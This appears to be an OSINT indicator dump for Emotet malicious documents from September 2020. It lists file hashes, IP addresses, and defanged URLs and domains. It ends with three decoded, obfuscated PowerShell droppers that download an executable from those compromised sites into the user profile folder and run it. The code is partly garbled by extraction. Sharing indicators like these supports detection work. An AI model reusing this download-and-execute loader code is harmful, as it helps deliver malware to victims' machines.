Emotet_Doc_out_2020-09-18_23_20.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
0145a12527d52916e2a2ef2811d0b86f90834caffdbf0b03bc8425f94d686455
799092a92ab09378ef6e83c5ec89bac5462cd33fdc618ce517fcddf97bf26cff
9da4f588f2e4d4059a1d2a105f4fca8367ffa3f1ad0f39abdac4aa4501b7aa1b
9da4f588f2e4d4059a1d2a105f4fca8367ffa3f1ad0f39abdac4aa4501b7aa1b
a83c9759321f48ee74ffd64e1ea879f1a4e77a5c212c3a604173d38e65291c51
a83c9759321f48ee74ffd64e1ea879f1a4e77a5c212c3a604173d38e65291c51
36b6e14a2a3fca0d91d0303e32a2c74000c4929fe01c3d8fa04a13a7ff65086f
36b6e14a2a3fca0d91d0303e32a2c74000c4929fe01c3d8fa04a13a7ff65086f
2e8149f5710be530164ed7faffc9f5c33602938ade1bba597c1bd5d31f8837b3
0258529b89cb288a228b0791ffc721de998c886e2622408ef37389d0796cb038
d0fbfd4dc83b404a1168591a1d4a52b1cb9da8f58c55e95719dc0199efe6fdb5
3becf7d3aed1e6a3483bdeb9eb4c6887e9eb13ed6f194315109eeb2f19ae9a07
c4f84b019ea7621f6f614e11c9bc04c8c47ef1b99e136e16715ec26d26e9f24d
a5ce864f2c3bca89c24abc1fa1068e590b7df70133a6f8d4ddbfb26f3f72a85b
29c2db70c2ce8da26776dac8aa23097df5663524a46ac77518a87d9d964c4e8f
0afb7c179025ddfba82f253e521171894baccb916aadce3f0c6cd8014f706940
a4a33971129c80d8e4a6f163b6df265fc6ef694b64a1b973114dafa6af5da736
e373b51731dd9794dfbb3967839423a04999996ee921f1d3642d9fb53b0f107b
e2860c0869c119f7e37d4013db5d459bbfcfad7fb9c90767134135a988939a86
ad3ae846e4d7d6c6486ff7745250a6369003b467de82c65d5024b389f718c0c4
6f8efbd1a395cd60ea9b8707e83cc385dcd02826653fe78b0eb448d22d350035
6f8efbd1a395cd60ea9b8707e83cc385dcd02826653fe78b0eb448d22d350035
65603b499c24d66104493036513a1bdaa69eaed1280c65bbafdbc9f26c35a502
65603b499c24d66104493036513a1bdaa69eaed1280c65bbafdbc9f26c35a502
8e5ac6f2951e0bfdd5e7c036075f4f8706bdf1a1639c43372f38fc91047d0a4c
d23fa82b132d789d0acf534793a6437c0fbd0b86e7e85475b6856e558b964ca7
50d66616676d8ca532ea8333e2d545587d54e83abd08f0720012392cba583f26
37a0d9d6ec68559ded11b432a58dba6536644a809e72c3375dc0b656f78a4964


IPs:
103.143.208.149
103.8.25.12
104.18.46.187
104.18.47.187
104.18.54.104
104.18.55.104
128.199.16.135
172.67.176.115
172.67.200.149
185.86.165.178
198.57.223.32
216.244.91.100
35.206.120.183
35.214.159.46
37.122.210.206
39.105.54.216
47.94.221.221
62.210.151.64
64.37.60.39
66.76.73.231
66.96.134.66
67.208.116.218
68.66.226.82
69.16.200.139
83.150.213.216



URLs:
hxxp://zplusshopping.com/wp-content/plugins/8ek/
hxxps://www.cupgel.com/__MACOSX/3/
hxxp://freespiritmind.com/MASD/HowTo/css/J/
hxxp://crewnecksusa.com/wp-content/NJ/
hxxp://www.dougsuniverse.com/pics/yL8/
hxxps://idilsoft.com/admin/B/
hxxps://guhaasmart.com/wp-content/s/."Spl`iT"[char]42;
hxxp://jpwoodfordco.com/admin/sDs/
hxxp://luzzeri.com/wp-includes/o9G/
hxxp://matadebenfica.com/permanente/u/
hxxps://hapyc.com/wp-content/s/
hxxps://zycccccc.top/wp-content/lx3/
hxxps://dezurve.sa/webmail/installer/mqi/
hxxp://swiftlogisticseg.com/wp-admin/7/."sP`LIT"[char]42;
hxxp://sasystemsuk.com/index_files/j9b/
hxxps://case.gonukkad.com/sys-cache/fmC/
hxxp://vandamebuilders.com/wp-includes/OEyjc9x/
hxxps://nilinkeji.com/online/Dmz/
hxxp://paganwitch.com/wp-admin/CmubpSk/
hxxp://www.ekramco.ir/english/fn/
hxxp://votesteve.us/closed_zone/Bk/."SpL`it"[char]42;


Domains:
zplusshopping.com
www.cupgel.com
freespiritmind.com
crewnecksusa.com
www.dougsuniverse.com
idilsoft.com
guhaasmart.com
jpwoodfordco.com
luzzeri.com
matadebenfica.com
hapyc.com
zycccccc.top
dezurve.sa
swiftlogisticseg.com
sasystemsuk.com
case.gonukkad.com
vandamebuilders.com
nilinkeji.com
paganwitch.com
www.ekramco.ir
votesteve.us


Decoded Base64 Powershell:
����^�$Gygpoh5=Oasis3p;
.new-item $enV:UseRpRoFILe\Wc5Suwd\iJzerlD\ -itemtype dIRECtOrY;
[Net.ServicePointManager]::"SeCuRI`T`y`p`Roto`col" = tls12, tls11, tls;
$Al1o4s0 = F1rxg4v7;
$Y1chhpz=Bffltvy;
$Mxqbl7l=$env:userprofiledVXWc5suwddVXIjzerlddVX  -rEPlACE [ChAR]100[ChAR]86[ChAR]88,[ChAR]92$Al1o4s0.exe;
$X9td6_u=A835qrq;
$Qu3yc5j=&new-object NeT.WEBClIENt;
$V78suhf=hxxp://zplusshopping.com/wp-content/plugins/8ek/
hxxps://www.cupgel.com/__MACOSX/3/
hxxp://freespiritmind.com/MASD/HowTo/css/J/
hxxp://crewnecksusa.com/wp-content/NJ/
hxxp://www.dougsuniverse.com/pics/yL8/
hxxps://idilsoft.com/admin/B/
hxxps://guhaasmart.com/wp-content/s/."Spl`iT"[char]42;
$H7qr22n=Uaqwjny;
foreach$Efyn1_k in $V78suhf{try{$Qu3yc5j."d`OWn`LoAdfile"$Efyn1_k, $Mxqbl7l;
$Vok7b4z=Eihkx73;
If &Get-Item $Mxqbl7l."l`e`NgTh" -ge 31716 {.Invoke-Item$Mxqbl7l;
$Baxfgsf=Yk5u9vx;
break;
$Rabhucs=Mltuc09}}catch{}}$W9hmb_x=Dlds6oh����^�$Irylyim=Egmuaht;
&new-item $EnV:USERprofilE\YrzRXcy\IOqGeAs\ -itemtype DireCTorY;
[Net.ServicePointManager]::"sEcuRIt`Ypr`Otoc`Ol" = tls12, tls11, tls;
$Adbxvb3 = Hpauds1;
$I5qbmdg=P2leork;
$O_g3p4j=$env:userprofile{0}Yrzrxcy{0}Ioqgeas{0}  -f  [CHar]92$Adbxvb3.exe;
$Dskr2en=Wg7z_0h;
$Cl4hl6a=&new-object net.WEBClieNt;
$Yqrnyb6=hxxp://jpwoodfordco.com/admin/sDs/
hxxp://luzzeri.com/wp-includes/o9G/
hxxp://matadebenfica.com/permanente/u/
hxxps://hapyc.com/wp-content/s/
hxxps://zycccccc.top/wp-content/lx3/
hxxps://dezurve.sa/webmail/installer/mqi/
hxxp://swiftlogisticseg.com/wp-admin/7/."sP`LIT"[char]42;
$Tg_64l5=Zl0j7p7;
foreach$Hcn0a30 in $Yqrnyb6{try{$Cl4hl6a."DO`WnL`oaDfIlE"$Hcn0a30, $O_g3p4j;
$Elovij2=Mlggisb;
If &Get-Item $O_g3p4j."lE`N`GTH" -ge 32550 {&Invoke-Item$O_g3p4j;
$Mnhsp96=Erqfdjp;
break;
$Btzuwws=Torey7r}}catch{}}$I1pcym2=O8b3lcn����^�$Qgnuzkq=Y2rujea;
.new-item $enV:UsERPROFILe\JHAiNGG\e7pZ5_W\ -itemtype dIrECToRy;
[Net.ServicePointManager]::"se`C`U`RIt`ypRoTocoL" = tls12, tls11, tls;
$E5n91sj = T14gn0;
$Yy9jx2y=Eiukte1;
$C6pqsgn=$env:userprofile{0}Jhaingg{0}E7pz5_w{0} -f [ChaR]92$E5n91sj.exe;
$C35kw1x=B6n9dgq;
$F6nroe1=&new-object nET.WEBCLienT;
$Jlmxnxc=hxxp://sasystemsuk.com/index_files/j9b/
hxxps://case.gonukkad.com/sys-cache/fmC/
hxxp://vandamebuilders.com/wp-includes/OEyjc9x/
hxxps://nilinkeji.com/online/Dmz/
hxxp://paganwitch.com/wp-admin/CmubpSk/
hxxp://www.ekramco.ir/english/fn/
hxxp://votesteve.us/closed_zone/Bk/."SpL`it"[char]42;
$Snp82a4=H_kl15r;
foreach$Nbrgooh in $Jlmxnxc{try{$F6nroe1."dOWnLOADF`i`lE"$Nbrgooh, $C6pqsgn;
$By1ouzh=A2i4n1y;
If &Get-Item $C6pqsgn."LEn`GTH" -ge 20193 {&Invoke-Item$C6pqsgn;
$Dwg14lc=J_wqlsh;
break;
$L7qrb7a=F7a4acv}}catch{}}$Htwilhj=Qqg1v31